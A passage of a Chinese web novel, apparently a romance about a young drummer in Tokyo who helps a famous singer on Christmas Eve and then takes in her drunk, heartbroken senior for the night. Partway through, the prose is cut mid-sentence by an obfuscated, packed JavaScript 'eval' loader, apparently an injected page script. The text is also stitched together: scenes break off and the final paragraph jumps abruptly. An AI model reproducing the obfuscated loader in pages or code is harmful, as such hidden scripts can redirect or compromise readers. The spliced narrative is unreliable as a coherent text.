《与顶流前辈的营业同居手册》 1. 交错的时间线(1) 平安夜的六本木,空气里弥漫着烤栗子的甜香、热红酒的馥郁和人群喧嚣的热浪。一颗高耸入云的圣诞树缀满璀璨的彩灯和闪亮的装饰球,成为整条街最耀眼的灯塔,将周遭的夜色都染上了一层梦幻的光晕。街头巷尾,牵着手依偎而行的男男女女脸上洋溢着节日的欢愉,笑声和圣诞颂歌交织成一片温暖的海洋。这是林光在东京度过的第四个圣诞节,她坐在街角一家暖意融融的咖啡店里,巨大的落地窗像一块画框,框住了外面流光溢彩的世界。隔窗望去,那颗银装素裹的圣诞树下,一位穿着臃肿红袍、粘着白胡子的“圣诞老人”正卖力地分发着附带小礼物的宣传单,情侣们对此报以热情的笑声和短暂的驻足。林光独自一人,用小勺轻轻舀起手中香草冰淇淋顶上的巧克力碎,冰凉的甜意在舌尖化开。桌上,唯一陪伴她的是一碟烤得恰到好处的巧克力棉花糖,微焦的表面流淌着诱人的巧克力酱,底下垫着酥脆的饼干——这是她为数不多钟情的“热量炸弹”,作为假日前夜的放纵再合适不过。她用银叉叉起一块,软糯拉丝的棉花糖裹挟着浓郁湿润的巧克力,混合着饼干的酥脆送入口中,焦糖般的香气瞬间弥漫。她满足地眯了眯眼角,像一只慵懒的猫。目光再次投向窗外,那位“圣诞老人”已转战下一个路口,圣诞树下孤零零地站着一位戴着厚实毛线帽的女孩,帽檐压得很低,几乎遮住了眉眼,只露出一点挺翘的鼻尖和呼出的团团白雾。从刚才起,她就一直低着头,手机屏幕的光亮映在她脸上,手指焦躁地滑动、点击,似乎在等待一个久未出现的身影。林光歪了歪头,手肘支在桌面,掌心托着下巴,总觉得树下那抹身影带着一种挥之不去的熟悉感,可具体在哪里见过,记忆却像蒙了一层薄雾,模糊不清。 “她看起来……好冷的样子。”林光喃喃自语,目光紧锁着女孩单薄的肩膀和不断搓手的动作。帽子和几乎遮住半张脸的口罩将她包裹得严严实实,仅凭露出的那一点点清秀眉眼和挺拔的身姿,便能窥见其不凡的气质。这已经是林光注意到的第5波上前搭讪的路人了,这次更是三个穿着花哨、发型夸张、眼神轻佻的不良少年。他们嬉笑着围拢过去,其中一个染着黄毛的家伙甚至直接伸手抓住了女孩纤细的手臂!女孩惊恐地后退挣扎,却被他们推搡着,眼看就要被强行拽进旁边幽暗的小巷。林光眉头紧锁,心头火起,手中吃到一半的冰淇淋被她“啪”地一声放在冰冷的玻璃桌面上,霍然起身。 “小姐姐一个人在这里干什么呢?跟我们一起去喝酒吧!保证让你开心!”黄毛的声音带着令人作呕的油腻。女孩的拒绝声被淹没在他们的哄笑中。就在那只脏手更加用力拉扯的瞬间,一只骨节分明、带着凉意的手猛地从旁伸出,铁钳般死死扣住了黄毛的手腕! “对不起,这是我朋友!”林光的声音不大,却异常清晰冷冽,穿透了嘈杂的背景音,带着不容置疑的力度。她直直地盯着为首的男人,眼神锐利如刀,另一只手指向头顶上方——彩灯闪烁的间隙里,一个不起眼却绝对存在的监控探头正无声地注视着下方,“再不松手,我立刻报警。警察局就在下个路口,需要我帮你们指路吗?” 三个男人明显被这突如其来的强硬介入和清晰的威胁震慑住了,嚣张的气焰瞬间萎靡。黄毛的手腕被捏得生疼,他惊疑不定地看着眼前这个眼神冰冷的女人,又抬头望了望那个隐藏在灯光后的“眼睛”,脸色变了变。最终,他恶狠狠地啐了一口,猛地甩开同伴的拉扯:“真他妈的倒霉!走!喝酒去!”三人骂骂咧咧,像被戳破的气球,灰溜溜地消失在霓虹闪烁的人潮中。 林光看着他们的背影彻底融入远处喧嚣,确认安全后,才松开紧绷的神经,转身准备默默返回咖啡馆。她预料到被救下的女孩会道谢,但当身后传来那声带着迟疑和试探、却又异常清晰的呼唤时,那份被唤起的熟悉感还是让她心头猛地一跳: “那个……非常、非常感谢你的帮助……请问……是井上小姐吗?” 林光惊讶地回头。咖啡馆暖黄的光线透过玻璃门,柔和地打在她脸上。树下戴着毛线帽的女孩已经拉下了口罩,露出一张即使在昏暗光线下也精致得惊人的脸庞——白皙的皮肤,小巧的下巴,还有那双此刻盛满感激和一丝不确定的明亮眼眸。林光恍然大悟,心脏不受控制地加速跳动,一丝尴尬的冷汗瞬间从背脊渗出——眼前这位,正是那位红音乐制作人旗下打造的那位作品霸榜各平台的现象级女歌手加藤春树!而且,就在前几天自己乐队的演出上,她就坐在第一排正中央那个最显眼的位置!林光感到脸颊微微发烫,努力维持着镇定,点了点头:“啊,是我。不好意思,请问您是……”她明知故问,只为掩饰那一瞬间的慌乱。 “诶?真的是井上小姐!”加藤春树眼中闪过一丝惊喜,随即露出一个礼貌又带着点如释重负的微笑,“我叫加藤,加藤春树。刚才……真是太感谢您了!” “啊,不好意思,一时没认出来。”林光赶紧回应,那份职业性的距离感在认出对方的瞬间变得更加明显,尴尬的薄汗似乎还未散去。 加藤春树似乎并未察觉林光的异样,或者说,在经历了刚才的惊吓后,能遇见一个认识的人,对她而言已是莫大的安慰和巧合。“可以的话……一起喝点什么吗?我请客,算是……感谢。”她轻声提议,眼神带着期待。 林光带着加藤回到了自己原先的座位。那张小圆桌仿佛成了喧嚣世界中的孤岛。加藤摘下毛线帽和厚厚的围巾,露出一头柔顺的长发,她有些不好意思地理了理被帽子和拉扯弄乱的发梢。林光招手请服务员再上一份同样的烤巧克力棉花糖和一杯热气腾腾的伯爵红茶。她稍微坐正了些,双手交叠放在腿上,视线有些飘忽地落在桌面的木纹上,先前那份因身份悬殊和意外相遇带来的尴尬感仍在心头萦绕。 加藤安静地看着她略显拘谨的姿态,忽然,“噗嗤”一声笑了出来,打破了微妙的沉默。林光闻声抬起头,眼神带着询问。 “没什么,”加藤摇摇头,笑容不减,带着一丝新奇,“只是觉得……原来平时的井上小姐,和台上那个掌控节奏、帅气得让人移不开眼的鼓手,差别这么大呢。”她的目光坦率而真诚。 林光闻言,脸上瞬间飞起两朵更深的红云,像被戳破了什么心事。她如此拘谨自然有其难以启齿的原因——见到漂亮女生就容易脸红的毛病,此刻简直暴露无遗。她下意识地摸了摸发烫的耳垂,眼神更加无处安放。 服务员适时地端来了红茶。加藤双手捧着温热的骨瓷杯,指尖因寒冷而泛起的微红在热气的熏蒸下渐渐褪去,她舒服地喟叹了一声。壁炉里跳跃的橘红色火光映在两人脸上,投下温暖摇曳的影子。林光放松了些,轻轻靠在身后红砖砌成的墙壁上,粗糙的质感透过薄薄的衣物传来一丝凉意。 “加藤小姐刚刚是在等人吗?” “嗯,我有约一个朋友,但是几个小时前我就联系不上她了,消息没回复,电话也没有接。” 加藤露出的笑容也很勉强。两人坐在温暖的壁炉火光前,两人都以为今晚将独自度过平安夜,此刻的相遇,竟生出一种奇妙的暖意。加藤看着眼前这位业界后辈,神态是少见的乖巧,举止甚至带着点青涩的拘谨,与舞台上那个光芒四射的形象判若两人。她想起之前偶然在媒体推送中刷到的林光演出视频片段:镜头扫过后排鼓手位时,那个女孩精准掌控着全场律动,帅气的击打自不必说,更让人心跳加速的是,当镜头捕捉到她时,她恰到好处的一个wink和嘴角那抹俏皮的微笑,让当时还在工作现场的加藤瞬间屏住呼吸,赶紧合上手机,一边心虚地偷瞄周围有没有人注意到自己的失态,一边下意识地捂住了怦怦直跳的心口。 聊着最近业界一些轻松有趣的八卦新闻,林光紧绷的神经逐渐放松,露出的笑容也愈发自在,甚至偶尔会接上几句俏皮话。加藤似乎也完全忘记了刚才街头那不愉快的插曲,精致的脸庞在暖光和轻松话题的映衬下,笑容甜美得让人心醉。林光偶尔看着她的笑容,会有一瞬间的晃神。不知过了多久,窗外似乎有些异样,街头的人群渐渐驻足,发出低低的惊叹。林光敏锐地捕捉到变化,她停下话头,目光转向左侧的窗外。 “下雪了。”她轻声说,带着一丝不易察觉的欣喜。 “诶!真的!”加藤惊喜地顺着她的目光望去。细小的雪花如同精灵般轻盈飘落,在霓虹灯的光柱里飞舞盘旋,并不算大,却足以装点这个圣诞夜。窗外,一对路过的情侣停下脚步,女孩笑着从男友深灰色的毛呢大衣肩头小心翼翼地捻起一片完整的雪花,指尖的温度瞬间让它融化成一颗晶莹的水珠。林光看着那对沉浸在甜蜜中的情侣,嘴角不自觉地带上一丝笑意,端起温热的巧克力抿了一口。当她目光转回桌对面时,却敏锐地捕捉到加藤春树眼中一闪而过的落寞,那神情如同投入湖面的石子,在她甜美的笑容下漾开一圈不易察觉的涟漪。 “今天已经挺晚的了,加藤小姐要不要先回去?”林光体贴地提议。 尽管加藤嘴上说着“可以自己回去”、“太麻烦你了”之类的话,但当林光推来自己那辆线条流畅的黑色机车,将一个备用头盔递给她时,她的眼睛明显亮了一下。坐上后座,她新奇地摸了摸身前冰凉的油箱盖,又小心地扶住了林光的腰身,动作里带着一种对即将启程的短暂“冒险”的期待和信任。 “我还是第一次坐这样的摩托车呢。”加藤的声音从头盔里闷闷地传来,带着一丝兴奋。 “扶稳我哦!”林光的声音通过头盔内置的通讯器清晰地传来,带着笑意。引擎低沉地轰鸣起来。 被落雪弄得湿漉漉的地面反射着路灯和霓虹的光,像铺了一层流动的碎钻。林光骑得格外小心,车身在湿滑的路面上保持着稳定的轨迹。一路无言,只有引擎的震动和风声掠过头盔。很快,她们抵达了加藤公寓的楼下。林光稳稳停住车,熄了火。加藤利落地跨下车,摘下头盔递还给林光。然而,就在林光以为告别在即时,加藤却又一次低头看向手机屏幕,屏幕的冷光照亮了她带着一丝焦虑的眉眼,手指犹豫着,最终还是没有点亮屏幕,只是失望地将其按灭。这个动作,在今晚的林光眼中,已经重复了太多次。 “来。”林光的声音叫住了正欲转身上楼的加藤。加藤疑惑地回头。 只见林光从机车尾箱的一个小袋子里,变戏法似的拿出一个包装精致的小盒子,递了过来。“圣诞快乐。”她笑着说。 “诶?”加藤明显愣住了,接过那个小巧的礼物盒,脸上写满了意外和一丝慌乱,“可是我……我什么都没有准备……”她有些手忙脚乱地翻找着自己的小手包,似乎想找出什么像样的回礼。 “不用啦,”林光连忙摆摆手,目光落在加藤包口露出的半截圣诞色彩包装的湿纸巾袋子上,“这个就好。”她指了指那包湿纸巾。“那么,晚安。” “晚安……”加藤握紧了手中的小礼物,看着林光重新戴上头盔,发动机车,“注意安全!”她站在公寓楼入口的灯光下,一直目送着那辆黑色的机车尾灯融入飘雪的夜色深处,直到完全看不见。脸颊上,被寒风吹过的凉意早已被另一种热度取代,那抹因意外惊喜而绽放的笑容,久久无法从她唇边褪去。 送完加藤的林光并没有直接回家。她给自己切了一首舒缓的乡村音乐,引擎再次低吼起来,轻车熟路地向着这座城市边缘的海边公路驶去。明天是她搬家的日子,能够好好休息的时光只限今晚。熟悉的街景在雪夜中飞速倒退,林光不禁有些分神,回忆起往年平安夜,自己独自在酒吧喝到打烊,然后被冷风吹得一个激灵的日子。路过一家24小时便利店,她停车进去买了些零食塞进车尾的边包里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前辈发来的地址通向港区一处安保森严的高级公寓。林光对制服笔挺的公寓管理员说明来意后,安静地在大厅等待管理员联系屋主确认。大厅里暖气开得很足,角落摆放着一棵几乎与挑高天花板齐平的巨大圣诞树,装饰得奢华精致,树下堆满了包装华丽的礼物盒。旁边的水晶茶几上,还摆放着精致的圣诞主题小茶点,散发着诱人的甜香。 “井上小姐,您可以上去了。”管理员礼貌地示意电梯方向。 远藤纱由里在玄关挂掉门禁对讲,身后开放式厨房里传来一个女生的喊声:“纱由里,草莓洗好啦!快来吃!” “好的,马上来!”远藤应了一声,声音里带着聚会的轻松。 她走回宽敞明亮的客厅。巨大的落地窗外是璀璨的城市夜景。白色长绒地毯上,散坐着几位与她年纪相仿、气质出众的女孩,正一边吃着水果零食,一边谈笑打闹。对面巨大的电视屏幕上,正播放着她们去年火爆的live录影带,激昂的音乐声与女孩们的笑声交织在一起。几包快吃完的薯片、巧克力散乱地放在茶几和旁边的餐桌上。同样“散乱”在茶几旁边的,是一位长发披散、脸颊绯红的女孩——星野夜海。她歪靠在一个巨大的抱枕上,身边散落着好几个空了的啤酒罐和清酒瓶。 远藤小心翼翼地绕过那些“障碍物”,走到星野身边,蹲下身,轻轻摇了摇她的肩膀,声音温柔:“夜海,醒醒,接你的人来了哦。” 被叫做“夜海”的女孩迷迷糊糊地抬起头,几缕凌乱的发丝粘在汗湿的额角,脸上原本精致的妆容此刻掉得七七八八,眼线有些晕开,透着一股颓废的美感。她迷瞪了好一会儿,眼神才勉强聚焦,摸索着放在腿边的眼镜戴上。周围的伙伴们见状都笑着围拢过来。 “夜海今天很不对劲哦,”一个留着利落短发的女孩调侃道,顺手往她嘴里塞了一瓣冰凉的苹果,“一个人坐在角落里喝闷酒,喊都喊不动。”星野懵懵地嚼着苹果,似乎还在努力回想自己身在何处。哦,对,是在纱由里家开live庆功会。可是……总觉得哪里不对,今天的酒似乎格外容易上头?星野捂着隐隐作痛的太阳穴晃了晃脑袋,高度紧张的演出结束后骤然放松,身体和精神似乎都变得毫无防备。 “应该是live太累了吧,”远藤看她脸色不太好,体贴地替她理了理额前汗湿的碎发,“回家之后好好休息,明天休息吗?” “嗯……谢谢纱由里。”星野含糊地应着,大概是觉得远藤微凉的手指很舒服,她下意识地握住远藤的手,贴在自己滚烫的脸颊上蹭了蹭,像寻求安慰的小动物,“好凉快……” “哇哦!夜海果然很不对劲!”周围的女孩们立刻爆发出善意的哄笑。“怎么了?该不会是……和加藤小姐吵架了?”有人大胆猜测。 星野坐在地上,闻言只是沉默地摇了摇头。她撑着发软的腿站起身,晃晃悠悠地走向洗手间。喝下肚的酒液此刻像一团灼热的火在胃里翻腾,她撑着冰凉的白瓷马桶干呕了两声,却什么也吐不出来。等那股恶心劲儿稍稍平复,她才慢慢站起身,用冷水拍了拍脸,看着镜中有些狼狈的自己,眼神黯淡。她走去厨房,接了杯冰水,试图浇灭胃里的火焰和心头的烦闷。 “叮咚——”清脆的门铃声响起。 “来了!”一个元气满满的声音响起,是佐藤明奈跑去开门。 “谢谢明奈。”远藤对着门口喊道。 “晚上好,我是井上光。请问……”林光站在门口,身上还带着室外的寒气,发梢沾着未化的雪花。 “快先进来吧!外面是下雨了吗?看你身上都湿了。”佐藤明奈热情地拉着林光冰凉的手进了温暖如春的玄关,趁她换鞋的间隙,快速从旁边的架子上抽了一条干净柔软的毛巾递给她。 “没有,是在下雪。”林光感激地接过毛巾,擦了擦外套和头发上的水渍,“谢谢佐藤前辈。请问星野夜海小姐在吗?幸子小姐让我来接她。” “夜海她刚刚在厨房……”明奈的话音未落。 2. 交错的时间线(2) 从厨房方向端着瓶乌龙茶走出来的女生正好看到林光,脸上立刻露出惊喜的笑容:“小光?来找人吗?”正是大庭澪。 “是的!晚上好,大庭前辈!”林光看到这位大前辈,下意识地站直了身体,微微鞠躬,“今天的live辛苦了!非常精彩!” “谢谢你呀,小光,”大庭澪看着眼前恭敬又带着点紧张的后辈,笑容里多了几分前辈对后辈的温和与怜爱,她转头朝厨房方向提高声音,“夜海?接你的人来了哦!” “嗯?”星野夜海端着水杯,慢悠悠地从厨房晃了出来,脸上还带着未散的酒意和一丝疲惫。看到门口的林光,她似乎并不意外,只是含糊地应了一声,“来了啊。” “是的哦,”林光故意拖长了语调,带着点促狭的笑意走近她,“前辈今天喝得怎么样?开心吗?”她闻到了星野身上浓重的酒气。 “别提了,”星野故作淡定地摆摆手,眼神却有些飘忽,“今天状态不好。”她试图掩饰自己的低落。 “你还真是……”大庭澪失笑,无奈又带点宠溺地轻轻拍了拍星野的肩膀,“好了,别让人家小光等太久,太晚了,快回去吧。” “好啦,知道啦。”星夜跟着大庭走到客厅,去拿远藤已经帮她收拾好的外套和随身小包。林光跟着走进客厅,看到满屋子都是业界声名显赫、从小入行的大前辈们——远藤纱由里、大庭澪,还有那位年仅二十出头却已是资深前辈的童星佐藤明奈——她不禁又感到一丝拘谨。虽然在工作场合有过照面,但私下场合如此近距离接触还是第一次。她下意识又想一一问候。 “好啦好啦,”远藤温柔地笑着摆摆手,看穿了她的心思,“又不是工作场合,一个个打招呼什么的就不用了,太见外了。” “就是就是,”佐藤明奈也活泼地附和,“天色真的不早了,小光快带夜海回去吧!路上小心点哦!”其他女孩们也纷纷笑着点头示意。 星野和林光在众人的目送下离开了温暖喧嚣的公寓。门关上的瞬间,深夜街头凛冽的寒风夹杂着细雪扑面而来,巨大的温差让星野被暖气熏得昏沉的酒劲瞬间清醒了一半。她忍不住打了个哆嗦,牙齿都开始轻微打颤。她有些笨拙地扶着林光的肩膀,跨上冰冷的机车后座。大概是觉得冷,也可能是心里装着事缺乏安全感,她几乎是立刻就紧紧抱住了林光的腰,将脸埋在林光带着寒气的后背上,声音闷闷地传来:“开……开慢一点,我……我有点害怕。” “前辈,”林光一边发动车子,一边忍不住吐槽,声音带着一丝无奈的笑意,“你不是那个连蹦极都能笑着完成的人吗?怎么会怕摩托车?”她稳稳地起步。 然而,当她看清导航上星野家地址的瞬间,心里却猛地咯噔一下,升起一股强烈的蹊跷感。这条路线……越骑越眼熟!街角的便利店、那个造型独特的邮筒、甚至路过的神社鸟居……这些景色分明在不久前才从她眼前掠过! 这……这不是刚刚送加藤小姐回家的那条路吗?!这个地址……就是加藤小姐住的公寓楼! 林光心中的疑惑如同雪球般越滚越大。但两人隔着厚厚的头盔,呼啸的风声也阻碍了交流,她又不方便在行驶中转头询问后座的星野。她只能压下满腹疑问,按照导航的指示,再次来到了那栋不久前才离开的、灯火通明的公寓楼下。她熟练地熄火停车,双脚撑地稳住车身。 “那个……是这里吧?”林光回头,隔着头盔问道。 “嗯……”星野含糊地应了一声,却没有立刻下车。她的目光越过林光的肩膀,直直地、定定地望向公寓楼某一户亮着温暖灯光的窗口,那眼神复杂得难以形容,有眷恋,有苦涩,更多的是一种近乡情怯般的逃避。沉默了半晌,她忽然开口,声音带着一种小心翼翼的试探和不易察觉的脆弱:“光……方不方便……我去你家住一晚?” “哈?我家?”林光被这个突如其来的请求弄得一愣,随即感到一阵头大。为了明天能直接搬去新公寓,她现在那个不到十平米的小窝里,可是塞满了打包好的行李纸箱,连下脚的地方都快没了!她心里飞快地盘算着这个请求的可行性,空间狭小、一片混乱……这实在不是招待客人,尤其是招待这位前辈的好时机。 “快走快走快走!”还没等林光想清楚,身后的星野突然急促地催促起来,抱着她腰的手臂也收紧了,仿佛身后有什么洪水猛兽在追赶。 “好好好!”林光被催得有些恼火,加上心里的疑惑和眼前的混乱,手上拧油门的动作不自觉地加重了些。机车猛地向前一窜,车头差点翘起来,吓得她赶紧稳住车身,心里暗骂了一句。 “可以解释一下吗?”林光和星野一前一后走进林光那间狭小的公寓。不到十平米的空间此刻更像一个临时仓库,超过一半的地面都被大大小小、贴着标签的纸箱占据,只留下一条狭窄的通道。空气里弥漫着淡淡的纸箱味和灰尘的气息。星野对此似乎并不意外,她摆摆手,轻车熟路地、甚至有些急切地径直穿过“箱子阵”,目标明确地奔向了卫生间。 “对不起,等会说。”她的声音消失在关上的门后。 林光站在原地,看着眼前这片狼藉和自己被占据的卫生间,无奈地叹了口气,认命地摇了摇头。看来今晚注定无法平静。 等星野从卫生间出来,林光已经在“仓库”里艰难地清理出了一小片勉强能铺床的地板,正跪在地上,有些费力地把被芯往被套里塞。 “前辈先去洗澡吧,床还没铺好。”林光头也没抬,声音闷闷的,手上正跟不听话的被角较劲。星野看着那堆行李和狭窄的空间,也意识到自己的到来确实添了麻烦。她默默地在林光身边跪坐下来,伸手想帮忙拉住被角。 林光却像被烫到似的,抱着被子猛地往旁边挪了一下,避开了她的手。她抬起头,向下抿住的嘴角和微微蹙起的眉头,清晰地传达出她此刻心情并不愉快:“我说啊,你还是先去洗澡吧。这里我来弄。”语气带着一丝不容置疑的疏离。 “怎么了?”星野没有退缩,反而带着点探究,微微俯身,试图捕捉林光一直低垂躲闪的目光。酒精让她比平时更大胆直接,“好脾气的井上小姐……生气了?”她记得同事间对这位外国籍后辈的评价多是“热心”、“好相处”。而且林光现在的样子,与其说是生气,不如说更像是因为某种强烈的情绪——比如害羞或者尴尬——而显得有些手足无措,脸颊甚至泛着可疑的红晕。 “有什么事等会儿再说吧,”林光感受到她带着酒气的呼吸靠近,脸更热了,她把身子往后坐了坐,拉开一点距离,声音带着点窘迫,“只是……我不太习惯和别人一起做这种事情。”她快速拿起旁边准备好的一套干净衣物和一套叠好的、洗得有些发旧的灰色格子睡衣塞给星野,“换洗衣服是新的,没穿过。睡衣……穿我的吧,可能有点小,凑合一晚。” “好……麻烦你了。”星夜接过衣服,似乎也察觉到了林光的紧绷,没再多说什么,转身进了浴室。 直到听见浴室里响起哗哗的水声,林光才像泄了气的皮球,一下子瘫坐在地板上,长长地、无声地舒了口气。心口像是堵了一团湿棉花,闷闷的,连呼吸都有些不畅。原以为明天才会开始的“同居”生活,竟以这样一种混乱又突兀的方式提前上演,事情的发展完全超出了她的预期。这份失控感,像一根引线,瞬间点燃了她平日里控制得不错的焦虑。她能感觉到自己的心跳在加速,呼吸变得短促,手里塞被套的动作也变得格外焦躁笨拙,手指甚至微微发抖。 也许……现在去喝点冷水会好一些?林光强迫自己做了几个深呼吸,试图平复过快的心率,然后站起身,有些踉跄地走到狭小的厨房,给自己倒了满满一大杯冰水,一口气灌了下去。冰冷的液体滑过喉咙,带来一丝短暂的清明。 回到那片小小的“空地”,林光抱着膝盖靠在一个没封口的纸箱旁。被塞了一半的被套依旧凌乱地摊在原地,像一个无声的嘲讽。她看着它,又叹了口气。浴室的水声还在持续,像一种背景白噪音。她认命地爬过去,继续跟那床被子搏斗。如果说仅仅是普通同事的临时借住,她或许不会紧张成这个样子。大概是因为提前知道了即将开始的“同居”安排,她最近开始不由自主地、格外关注起这位星野前辈的动态——她的舞台、她的采访、她那些引人遐想的绯闻……那些远距离的观察和想象,在今晚如此近距离、甚至有些狼狈的接触下,瞬间被击得粉碎。那些悄悄建立起来的心理防线,在见到真人、感受到她呼吸的那一刻,就轰然坍塌了。 光是刚才那短暂的对视和靠近,就让她需要屏住呼吸来掩饰慌乱。如果真的开始同居……林光绝望地想,自己是不是得时刻备着氧气瓶才行? “好怀念啊,好久没在小光家里过夜了。”星野擦着湿漉漉的头发从浴室走出来,身上穿着林光那套明显宽大了一号的格子睡衣,裤脚和袖子都卷了好几圈。上次来这里还是和几个同事嘴馋,非要林光带她们去吃正宗的四川火锅,结果辣得眼泪鼻涕直流,最后集体挤在这里过夜。她环顾着这个被纸箱包围、显得更加拥挤的空间,语气带着一丝感慨。林光靠着墙壁坐在铺好的地铺上,抬起刚才还在刷手机的眼睛,无声地拍了拍身边空出来的位置。星野看着铺得整整齐齐的床铺,嘿嘿笑了两声,却没有立刻坐下,反而像是回到了自己家一样,轻车熟路地走向那个小小的冰箱。 打开冰箱门,里面果然空空荡荡,只有几瓶矿泉水和几袋没开封的酱料孤零零地躺在里面。星野有些失望地撇撇嘴——也是,明天就要搬家的人,怎么可能还囤食物呢。 “冰箱里的东西我已经收起来装箱了哦。”林光的声音从身后传来,带着点了然。“酒什么的也都封箱了。不过……”她顿了顿,“巧克力奶倒是还剩最后一罐。” “喝!”星野立刻来了精神,转过身,“热的吗?”她很快找到了那瓶被主人贴心泡在一盆热水里保温的易拉罐巧克力奶。温热的罐子握在手里很舒服。拿到“宝贝”的星野终于心满意足地坐到林光身边,盘起腿,拉开拉环,满足地喝了一大口。或许是觉得一个人靠着墙有点孤单,也可能是酒精让她比平时更想亲近人、为未来的室友关系做点铺垫,她无视了林光略带疑惑的眼神,身体自然地、带着沐浴后的温热和水汽,轻轻靠在了林光的肩膀上。林光的身体似乎僵硬了一瞬,但并没有推开她,反而像是放松了下来,举起从刚才就一直拿着的手机,屏幕上是几张壮丽的极光照片。 “看吗?芬兰的照片。”林光的声音恢复了平静。 “诶?看!”星野的眼睛瞬间亮了起来,像个充满好奇的孩子,迅速接过手机,几乎把脸贴到屏幕上,满眼惊叹地盯着画面中那流动的、梦幻般的绿色幽光。 “是极光,我哥哥前几天发过来的。”林光在一旁解释,看着星野发出连连的惊叹,嘴角勾起一丝坏笑。趁着星野全神贯注看照片的间隙,她极其自然地伸手,拿过星野手里那罐只喝了一 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“真的吗?”星野的注意力瞬间被转移,开心得像个得到糖果的孩子,那份被抢了饮料的小小不满烟消云散。她兴奋地不自觉地又往林光那边凑近了些,温热带着沐浴露香气的肩膀紧紧贴着林光的手臂,那份亲密的重量和温度让林光感觉手臂都有些发麻。她不动声色地往旁边挪了挪位置,拉开一点距离。倒不是讨厌这种接触……只是,她脑子里清晰地闪过一个信息:公司的星野前辈早已心有所属,而那位俘获了这位美女芳心的幸运女士,正是几个小时前还和她一起坐在咖啡店里、笑容甜美的加藤春树。 “聊一下吧,”林光放下空罐子,决定打破这有些暧昧的沉默,目光平静地看向还在努力坐稳的星野,“今晚的事情。”她点了点那个空罐子,“在接你之前,我在路上……遇到了你的女朋友哦。”她的声音很轻,却像一颗投入平静湖面的石子。 星野脸上残留的、因为明信片而泛起的愉快笑容瞬间凝固了。刚才那点因被疏远而产生的微小失落还没来得及消化,就被这句直白的话冻结在原地。轻松的氛围骤然消散,空气仿佛被冬夜的寒气瞬间凝固。星野的嘴角缓缓落下,手指无意识地揪着身上光滑柔软的绸质睡衣下摆,原本服帖的布料被她揉搓出深深的褶皱。林光看着自己新买的、还没穿过几次的睡衣惨遭蹂躏,心疼地皱了皱眉。 “刚才你是因为……加藤小姐在家,所以才临时改变主意要来我这里的?”林光替她把话说完。 “嗯。”星野没有抬头,只是低低地应了一声,手指依旧用力地绞着衣角。无需多言,这个点头已经解释了一切。林光终于想通了心里的所有前因后果——星野的借酒浇愁、公寓楼下的迟疑、突然要求借宿……一切都串联了起来。她长长地舒了一口气,像是卸下了一个包袱,顺手把那个空罐子精准地投进了几步外的垃圾袋里。 星野低着头沉默了一会儿,像是在做某种心理斗争。终于,她摸出自己的手机,用力按了好几下开机键。屏幕亮起,几秒后,Line的消息提示如同爆豆般疯狂响起,瞬间跳出的99+未读消息让一旁的林光都忍不住咋舌。 星野点开置顶的那个对话框,最新的一条消息赫然映入眼帘: “小海,看到消息回个电话好吗?我们真的需要好好谈谈。——春树” 林光倒吸一口凉气。这种消息内容出现在情侣之间……她几乎能立刻想到事情最坏的发展方向。一股强烈的同情涌上心头,她看着眼前瞬间被巨大落寞笼罩的星野,肩膀都垮了下去。她不清楚这场恋爱关系中的具体是非曲直,此刻任何安慰或评论都显得苍白无力,保持沉默或许是最好的尊重。她不动声色地坐回星野身边,没有再刻意保持距离。星野的头轻轻地、带着沉重的疲惫感,靠在了林光的肩膀上。那份怅然若失的低沉情绪,仿佛有实质的重量,压得林光也不由自主地跟着叹了口气。 事务所的管理层当然知道她们这段备受瞩目的恋情。只是当初恋情意外曝光时,双方闹得极不愉快。作为在业内以包容开放著称的Collector事务所,面对娱乐媒体的穷追猛打,给出的回应相当轻描淡写:“艺人私事,由艺人私下处理,事务所不予干涉。”然而,加藤所属的事务所却反应激烈,不仅极力否认恋情,甚至公开谴责Collector事务所“不择手段进行业内竞争”、“恶意炒作”。一时间舆论沸沸扬扬。最后,为了平息风波,避免两败俱伤,公司也只能向星野本人施压,让她尽快处理个人私事避免事态发酵。 林光抽回自己飘忽甚远的思绪,从那段业界八卦中回过神来。这时她才惊讶地发现,靠在自己肩膀上的女孩,不知何时已经呼吸平稳、沉沉地睡着了。长长的睫毛在眼下投下一小片阴影,卸去了所有防备和锋芒,睡颜安静得像个孩子。 “睡得这么快……”林光轻声自语,想到她今天刚结束一场高强度live,身心俱疲,累到秒睡也情有可原,便不忍心摇醒她。她的视线顺着星野光洁的额头、微蹙的眉头、纤长的睫毛向下,最终落在那精致小巧的鼻尖上。林光搓了搓有些发痒的指尖,强忍住想恶作剧般轻轻戳一下的冲动——那太趁人之危了。 她小心翼翼地、极其缓慢地扶起星野的头,尽量不惊动她。心里忍不住嘀咕:这人明明站着的时候比自己还高出小半个头,怎么坐下靠着自己时,感觉身高差也没那么大?她屏住呼吸,用尽可能轻的动作,半扶半抱地将星野纤瘦的身体挪到铺好的床铺上。女孩的身体轻盈得让她有些心疼。拉过柔软温暖的被子,仔细地给她盖好,掖好被角。 “晚安,前辈。”林光用几不可闻的声音说道,关掉了房间里最后一盏小灯,只留下窗外飘雪的夜色和身边人均匀的呼吸声。 3. 冬日晴空的契约同居(1) 清晨熹微的晨光透过百叶窗的缝隙,在盥洗室狭小的空间里投下道道斑驳的光带。睡眼惺忪的两人挤在这不大的方寸之地,空气中弥漫着牙膏的薄荷清香和发丝被加热的微焦气味。林光站在洗漱台前,对着镜子机械地慢慢刷牙,泡沫堆在嘴角。星野则在她身侧,对着墙上的小镜子,正专注地对付着自己那头经过一夜蹂躏后乱糟糟的卷发,手里的夹发板发出轻微的“滋滋”声,一缕缕不听话的发丝在高温下被驯服。,车厢门“哐当”一声利落锁上,司机探出头招呼:“井上小姐,星野小姐,我们准备出发了!” 